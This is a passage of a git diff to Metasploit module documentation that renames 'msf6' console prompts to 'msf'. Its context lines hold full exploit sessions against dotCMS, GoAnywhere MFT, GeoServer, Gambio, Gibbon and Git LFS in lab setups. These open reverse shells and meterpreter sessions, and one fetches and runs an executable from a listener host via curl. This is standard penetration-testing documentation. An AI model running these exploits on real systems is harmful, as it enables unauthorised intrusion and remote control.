command. -msf6 exploit(multi/http/cve_2023_38836_boidcms) > run +msf exploit(multi/http/cve_2023_38836_boidcms) > run [*] Command to run on remote host: curl -so %TEMP%\YnmWUfMzCxY.exe http://10.5.135.201:8080/h8r3u5VU3v-qeqUW3_anLw & start /B %TEMP%\YnmWUfMzCxY.exe [*] Fetch Handler listening on 10.5.135.201:8080 diff --git a/documentation/modules/exploit/multi/http/dotcms_file_upload_rce.md b/documentation/modules/exploit/multi/http/dotcms_file_upload_rce.md index dfc72fed4bc2e..505316ffdebef 100644 --- a/documentation/modules/exploit/multi/http/dotcms_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/dotcms_file_upload_rce.md @@ -117,13 +117,13 @@ https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows ### Ubuntu 20.04 dotCMS 21.06: ``` -msf6 > use exploit/multi/http/dotcms_file_upload_rce +msf > use exploit/multi/http/dotcms_file_upload_rce [*] Using configured payload java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227 +msf exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227 rhosts => 172.16.199.227 -msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1 +msf exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/dotcms_file_upload_rce) > run +msf exploit(multi/http/dotcms_file_upload_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -144,13 +144,13 @@ Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 20 ### Windows 10 dotCMS 21.06: ``` -msf6 > use dotcms_file_upload_rce +msf > use dotcms_file_upload_rce [*] Using exploit/multi/http/dotcms_file_upload_rce -msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231 +msf exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231 rhosts => 172.16.199.231 -msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1 +msf exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/dotcms_file_upload_rce) > run +msf exploit(multi/http/dotcms_file_upload_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md b/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md index 4410a1596fb50..cf5e08500dcc8 100644 --- a/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md +++ b/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md @@ -34,7 +34,7 @@ select a target platform (Linux or Windows). ### Automatic (Linux) ``` -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204): @@ -68,9 +68,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check [*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0 -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit [*] Started reverse TCP handler on 10.100.1.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -92,13 +92,13 @@ uname -a Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux exit [*] 10.100.1.30 - Command shell session 8 closed. -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > ``` ### Automatic (Windows) ``` -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204): @@ -132,9 +132,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check [*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0 -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit [*] Started reverse TCP handler on 10.100.1.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -162,5 +162,5 @@ nt authority\system C:\Program Files\Fortra\GoAnywhere>exit exit [*] 10.100.1.20 - Command shell session 9 closed. -msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > +msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > ``` diff --git a/documentation/modules/exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669.md b/documentation/modules/exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669.md index 524d1705367b3..491ea5d818e57 100644 --- a/documentation/modules/exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669.md +++ b/documentation/modules/exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669.md @@ -40,16 +40,16 @@ changed. ### Version 7.1.1 on Fedora Linux ``` -msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 +msf > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 RHOSTS => 10.0.0.219 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Sending stage (24380 bytes) to 10.0.0.219 @@ -62,19 +62,19 @@ Server username: ron ### Using an earlier encryption version ``` -msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 +msf > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 RHOSTS => 10.0.0.219 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1 TARGET => 1 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options [...] @@ -89,7 +89,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Sending stage (24380 bytes) to 10.0.0.219 @@ -101,23 +101,23 @@ meterpreter > # Version 7.1.1 over HTTP ``` -msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 +msf > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 RHOSTS => 10.0.0.219 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000 +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000 RPORT => 8000 -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit +msf exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Sending stage (24380 bytes) to 10.0.0.219 diff --git a/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md index f8f3a182cb3da..7dfbf2d1d9fae 100644 --- a/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md +++ b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md @@ -48,7 +48,7 @@ For the native PHP target, by default the `eval()` function will be used for nat ## Scenarios ```msf -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > info +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > info Name: Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability Module: exploit/multi/http/gambio_unauth_rce_cve_2024_23759 @@ -137,18 +137,18 @@ View the full module info with the info -d command. ### Target 0 - PHP native `php/meterpreter/reverse_tcp` session ```msf -msf6 > use exploits/multi/http/gambio_unauth_rce_cve_2024_23759 +msf > use exploits/multi/http/gambio_unauth_rce_cve_2024_23759 [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 192.168.201.25 +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 192.168.201.25 rhosts => 192.168.201.25 -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set ssl false +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80 +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80 rport => 80 -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 192.168.201.8 +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -172,9 +172,9 @@ meterpreter > exit ### Target 1 - Unix Command `cmd/unix/reverse_bash` session ```msf -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1 +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1 target => 1 -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -193,9 +193,9 @@ exit ### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ```msf -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2 +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2 target => 2 -msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit +msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md b/documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md index e0fa9f4f5569c..fb9599cf96899 100644 --- a/documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md +++ b/documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md @@ -64,7 +64,7 @@ No specific options. ## Scenarios ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > info +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > info Name: Geoserver unauthenticated Remote Code Execution Module: exploit/multi/http/geoserver_unauth_rce_cve_2024_36401 @@ -146,11 +146,11 @@ View the full module info with the info -d command. ``` ### GeoServer 2.23.5 on x64 Ubuntu 22.04 - cmd/unix/reverse_bash ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.86 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.86 rhosts => 192.168.201.86 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -169,13 +169,13 @@ exit ``` ### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - cmd/unix/reverse_bash ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0 target => 0 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10 rhosts => 192.168.201.10 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -194,13 +194,13 @@ exit ``` ### GeoServer 2.23.2 on vulhub docker image - cmd/unix/reverse_bash ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 0 target => 0 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.42 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.42 rhosts => 192.168.201.10 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -218,13 +218,13 @@ pwd ``` ### GeoServer 2.23.2 on vulhub docker image - linux/x64/meterpreter_reverse_tcp ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 target => 1 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp payload => linux/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set srvport 1981 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set srvport 1981 srvport => 1981 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -252,11 +252,11 @@ meterpreter > ``` ### GeoServer 2.25.0 on osgeo.org/geoserver docker image - linux/x64/meterpreter_reverse_tcp ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 target => 1 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/x64/meterpreter_reverse_tcp payload => linux/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -284,13 +284,13 @@ meterpreter > ``` ### GeoServer 2.23.5 on ARM64 Raspberry PI-4 Kali Linux 2024.4 - linux/aarch64/meterpreter_reverse_tcp ```msf -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 1 target => 1 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/aarch64/meterpreter_reverse_tcp +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload linux/aarch64/meterpreter_reverse_tcp payload => linux/aarch64/meterpreter_reverse_tcp -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 192.168.201.10 rhosts => 192.168.201.10 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -318,15 +318,15 @@ meterpreter > ``` ### GeoServer 2.25.0 on x64 Windows 10 (10.0 Build 19045) ``` -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 172.16.199.131 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 172.16.199.131 rhosts => 172.16.199.131 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 172.16.199.1 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 2 +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 2 target => 2 -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run +msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/getsimplecms_unauth_code_exec.md b/documentation/modules/exploit/multi/http/getsimplecms_unauth_code_exec.md index 90d7877742f50..edfcc07a7661a 100644 --- a/documentation/modules/exploit/multi/http/getsimplecms_unauth_code_exec.md +++ b/documentation/modules/exploit/multi/http/getsimplecms_unauth_code_exec.md @@ -26,12 +26,12 @@ ### Tested on GetSimple CMS v3.3.15 on Ubuntu 18.04 ``` - msf5 > use exploit/multi/http/getsimplecms_unauth_code_exec - msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set rhosts 192.168.37.137 + msf > use exploit/multi/http/getsimplecms_unauth_code_exec + msf exploit(multi/http/getsimplecms_unauth_code_exec) > set rhosts 192.168.37.137 rhosts => 192.168.37.137 - msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > set verbose true + msf exploit(multi/http/getsimplecms_unauth_code_exec) > set verbose true verbose => true - msf5 exploit(multi/http/getsimplecms_unauth_code_exec) > run + msf exploit(multi/http/getsimplecms_unauth_code_exec) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] GetSimpleCMS version 3315 diff --git a/documentation/modules/exploit/multi/http/gibbon_auth_rce_cve_2024_24725.md b/documentation/modules/exploit/multi/http/gibbon_auth_rce_cve_2024_24725.md index a5939bb491c43..239b4111f2bdd 100644 --- a/documentation/modules/exploit/multi/http/gibbon_auth_rce_cve_2024_24725.md +++ b/documentation/modules/exploit/multi/http/gibbon_auth_rce_cve_2024_24725.md @@ -47,7 +47,7 @@ The password of the Gibbon user in clear text format. ## Scenarios ```msf -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > info +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > info Name: Gibbon School Platform Authenticated PHP Deserialization Vulnerability Module: exploit/multi/http/gibbon_auth_rce_cve_2024_24725 @@ -131,19 +131,19 @@ View the full module info with the info -d command. ``` ### Target 0 - PHP native `php/meterpreter/reverse_tcp` session ```shell -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rport 80 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rport 80 rport => 80 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set ssl false +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set ssl false ssl => false -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set username cuckoo@clock.com +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set username cuckoo@clock.com username => cuckoo@clock.com -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set password dingdong +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set password dingdong password => dingdong -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rhosts 192.168.201.4 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rhosts 192.168.201.4 rhosts => 192.168.201.4 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set lhost 192.168.201.8 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -166,9 +166,9 @@ meterpreter > ``` ### Target 1 - Unix Command `cmd/unix/reverse_bash` session ```shell -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 1 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 1 target => 1 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -186,9 +186,9 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio) ``` ### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ```shell -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 2 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 2 target => 2 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -215,9 +215,9 @@ meterpreter > exit ``` ### Target 3 - Windows Command `cmd/windows/powershell/x64/meterpreter/reverse_tcp` session ```shell -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 3 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 3 target => 3 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -241,9 +241,9 @@ meterpreter > ``` ### Target 4 - Windows Dropper `windows/x64/meterpreter/reverse_tcp` session ```shell -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 4 +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 4 target => 4 -msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit +msf exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/git_lfs_clone_command_exec.md b/documentation/modules/exploit/multi/http/git_lfs_clone_command_exec.md index 229feaf72a782..e9bdf8613ef19 100644 --- a/documentation/modules/exploit/multi/http/git_lfs_clone_command_exec.md +++ b/documentation/modules/exploit/multi/http/git_lfs_clone_command_exec.md @@ -55,18 +55,18 @@ Sets the Git repository path. Leave empty for randomly-generated path. ### Git `v2.20.1` on MacOS 10.14.6 ``` -msf6 > use exploit/multi/http/git_lfs_clone_command_exec +msf > use exploit/multi/http/git_lfs_clone_command_exec [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1 +msf exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1 +msf exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1 srvhost => 192.168.37.1 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > run +msf exploit(multi/http/git_lfs_clone_command_exec) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.37.1:4444 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/haCxGmXm0G +msf exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/haCxGmXm0G [*] Server started. [*] Git repository to clone: http://192.168.37.1:8080/flowdesk.git [*] Sending payload data... @@ -76,7 +76,7 @@ msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192. [+] Deleted .git [*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.132:49433) at 2021-07-12 11:35:47 -0500 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1 +msf exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1 [*] Starting interaction with 1... uname -a @@ -88,18 +88,18 @@ space ### Git `v2.29.0` on Windows 10 ``` -msf6 > use exploit/multi/http/git_lfs_clone_command_exec +msf > use exploit/multi/http/git_lfs_clone_command_exec [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1 +msf exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1 srvhost => 192.168.37.1 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1 +msf exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > run +msf exploit(multi/http/git_lfs_clone_command_exec) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.37.1:4444 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/dA49tJWzH5Ye +msf exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/dA49tJWzH5Ye [*] Server started. [*] Git repository to clone: http://192.168.37.1:8080/otcom.git [*] Sending payload data... @@ -109,7 +109,7 @@ msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192. [+] Deleted .git [*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.1:61621) at 2021-07-12 11:32:30 -0500 -msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1 +msf exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1 [*] Starting interaction with 1... uname -a diff --git 